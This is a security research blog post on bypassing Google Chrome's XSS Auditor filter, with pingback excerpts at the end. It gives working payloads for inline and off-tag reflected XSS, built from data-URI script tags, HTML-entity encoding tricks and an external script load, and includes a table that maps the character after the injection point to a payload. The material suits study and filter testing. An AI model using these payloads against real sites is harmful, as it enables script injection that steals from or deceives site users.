Intro
If you ever tried to XSS something using the Google Chrome browser you have noticed that it usually doesn’t work. This is due to a native filter named XSS Auditor.
Over the years, this built-in feature has evolved and get stronger with several bypasses found by the infosec (information security) community. But it has some limitations, the ones we will explore in this post.
We will not deal with pure javascript injections like ’-alert(1)-‘ or DOM-based XSS: Auditor can’t catch these things. What Auditor does is evaluate a full code expression in the response when it’s not seen in the request, so pieces of javascript code attached to existing code or not seen in the response (DOM-based injections) cause filter failure.
We are interested here in common yet simpler real world scenarios, where we can find a XSS flaw outside a javascript block and craft a payload to work into Google Chrome. According to this, Google Chrome users are about 50% of all desktop users worldwide, making a working XSS in Chrome increase the attack surface in more than 100% even if a XSS works in all other browsers combined.
It’s important to note that all things here are meant to work in the latest browser version until date (50) and these may not work in future versions.
Inline Injection
When injecting in some attribute of a tag (inline), if it’s possible to break out of it and inject another one, the following payload will run perfectly in Chrome:
"
><script src=data:%26comma;alert(1)-"
Like in
<input value=“INPUT”>
which becomes
<input value=“
"
><script src=data:%26comma;alert(1)-"
”>
As long as there’s a closing script tag after it in the native code as we can see here.
Script uses the data URI scheme as its source without the need of specifying the content type (like in data:text/html,…) because the default text/plain is enough to run the javascript code. Also needed to encode the comma (%26comma;) for version 50. With the alert function “minus” an empty string (“”) being evaluated, but without Auditor seeing it fully in the request, it doesn’t get blocked.
Off Tag Injection
Like in the injection inside a tag, it’s also possible to XSS when input echoes out of it. We will use a classic example of a reflection in a message returned after a search query. But there are some requirements and cases to watch for:
1) Requirements
– A script block after injection: needed to close the actual payload;
– A double quote somewhere inside a tag after injection: needed to some variants.
For example, both requirements can be satisfied if there’s (but not limited to) any of the following in source code:
<script src=“URL”></script>
<script type=“text/javascript”></script>
2) Cases
Payload execution depends on which character comes right after injection, so here is a table with what is needed. The search TERM is where the injection reflects.
Char right after | Example(s) | Payload(s) |
Space or EOL (end of line) |
Search for TERM returned 0 results. Results for TERM |
<script src=" data:%26comma;alert(1)// |
Double quote | Search for “TERM” returned 0 results. | <script src=data:%26comma;alert(1)// |
Single quote | Search for ‘TERM’ returned 0 results. | <script src=data:%26comma;alert(1)// <script src= " data:%26comma;alert(1)// |
Dot, comma, colon, semicolon etc. |
Results for TERM: | <script src=data:%26comma;alert(1)%26sol;%26sol; <script src= " data:%26comma;alert(1)%26sol;%26sol; |
Less than | <span>Results for TERM</span> | <script src=//domain%26sol;my.js%26num; <script src= " //domain%26sol;my.js%26num; |
Greater than, question mark or slash |
Are you looking for TERM? | NO BYPASS FOUND |
In the first 4 cases, the same principle as the inline injection above was used but this time using a double slash (//), one time in its HTML entity form (// with “&” encoded to %26 in URL) to comment the rest of the javascript code left open. Similarly, the payload "
><script src=data:%26comma;alert(1)// can also be used for inline injection.
In the 5th case (in blue), a very common one, the way found to execute javascript code without being catched by Auditor was by calling an external script. This was done using an encoded slash (%26sol;) and appending a hash (%26num;) in the end of URL to avoid requesting with the native code attached. It can be applied to all working cases of the table, respective to the quote presence. A live example is available here.
Conclusion
As we can see it covers most of the possible scenarios out there although being easy to get filtered by an application filter or WAF due to the script tag.
A live test page is available here. URL parameters q0 up to q6 are the respective inputs for each type and case of bypass explained above (check source code).
A big “thank you!” to @asdizzle_ for his precious contribution to this work.
#hack2learn
P.S. Another interesting trick (restricted to some pages) to bypass Chrome’s Auditor is available in my private twitter account @brutalsecrets: exclusive results of my XSS research including a simple yet effective tool to find XSS in the wild can also be found there.
P.S.2 When going to verison 50 (after draft of this post was ready to go) Chrome seemed to have these bypasses fixed, but (thanks again to @asdizzle_) a simple encoding of comma did the trick again.
Reported a recent XSS to Chrome’s security team. Their reply was “it’s a known issue”. Strange as the reported bug was fixed within 24 hours but no bug bounty issued. Moral of the story? Don’t get your account blacklisted for suspected credit card fraud 😉
[…] we should try our luck on Chrome’s Auditor. You can read about the results of our research here. The bypasses we found can be used in many cases but there might be some situations where you […]
[…] If you ever tried to XSS something using the Google Chrome browser you have noticed that it usually doesn’t work. This is due to a native filter named XSS Auditor. […]
[…] a very quick research on Google, we found a very interesting blog post by @brutelogic (check out his stuff, he’s mastering the art of XSS!). Bypassing the XSS […]
[…] ZDNet a trouvé dix contournements XSS Auditor avec rien de plus qu'une recherche sur Google [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] et de nombreux autres ont été laissés de […]